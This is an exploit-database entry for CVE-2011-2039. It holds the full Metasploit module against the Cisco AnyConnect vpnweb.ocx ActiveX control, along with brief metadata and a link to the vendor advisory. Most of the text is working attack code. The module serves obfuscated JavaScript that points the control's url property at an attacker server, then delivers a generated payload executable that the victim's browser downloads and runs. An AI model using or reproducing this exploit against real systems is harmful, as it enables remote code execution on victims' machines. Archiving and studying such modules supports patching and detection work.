Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

vendor:

AnyConnect Secure Mobility Client

by:

bannedit

N/A

CVSS

N/A

Remote Code Execution

CWE

Product Name: AnyConnect Secure Mobility Client

Affected Version From: Unknown

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2011-2039

CPE: a:cisco:anyconnect_secure_mobility_client

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows

2011

Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute

This module exploits a vulnerability in the Cisco AnyConnect VPN client vpnweb.ocx ActiveX control. This control is typically used to install the VPN client. An attacker can set the 'url' property which is where the control tries to locate the files needed to install the client. The control tries to download two files from the site specified within the 'url' property. One of these files it will be stored in a temporary directory and executed.

Mitigation:

Cisco has released a security advisory and software updates at the following link: http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml

Source

Exploit-DB raw data:

##
# $Id: cisco_anyconnect_exec.rb 12872 2011-06-06 20:15:51Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML
	include Msf::Exploit::EXE

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Cisco AnyConnect VPN Client ActiveX URL Property Download and Execute',
			'Description'    => %q{
					This module exploits a vulnerability in the Cisco AnyConnect VPN client 
				vpnweb.ocx ActiveX control. This control is typically used to install the 
				VPN client. An attacker can set the 'url' property which is where the control
				tries to locate the files needed to install the client.

					The control tries to download two files from the site specified within the
				'url' property. One of these files it will be stored in a temporary directory and 
				executed.
					},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'bannedit' ],
			'Version'        => '$Revision: 12872 $',
			'References'     =>
				[
					[ 'CVE', '2011-2039' ],
					[ 'OSVDB', '72714'],
					[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=909' ],
					[ 'URL', 'http://www.cisco.com/en/US/products/products_security_advisory09186a0080b80123.shtml'],
				],
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic',
							{
								'Arch' => ARCH_X86
							} 
					],
				],
			'DisclosureDate' => 'Jun 01 2011',
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('URIPATH', [ true, "The URI to use.", "/" ])
			], self.class)
	end

	def on_request_uri(cli, request)

		if request.uri.match(/vpndownloader\.exe/)
			exe = generate_payload_exe({:code => payload.encoded})

			print_status("Client requested: #{request.uri}. Sending vpndownloader.exe")
			send_response(cli, exe, { 'Content-Type' => 'application/octet-stream' })
			select(nil, nil, nil, 5) # let the file download 
			handler(cli)
			return
		end
		
		if request.uri.match(/updates\.txt/)
			print_status("Client requested: #{request.uri}. Sending updates.txt")
			updates = rand_text_alpha((rand(500) + 1)) + "\n" + rand_text_alpha((rand(500) + 1))
			send_response(cli, updates, { 'Content-Type' => 'text/plain' })
			return
		end

		url = get_uri(cli)

		dir = rand_text_alpha((rand(40) + 1))
		js = ::Rex::Exploitation::JSObfu.new %Q|
		var x = document.createElement("object"); 
		x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
		x.url = "#{url}/#{dir}/";
|
		js.obfuscate
		html = "<html>\n\t<script>#{js}\t</script>\n</html>"
		print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
		send_response_html(cli, html)
	end
end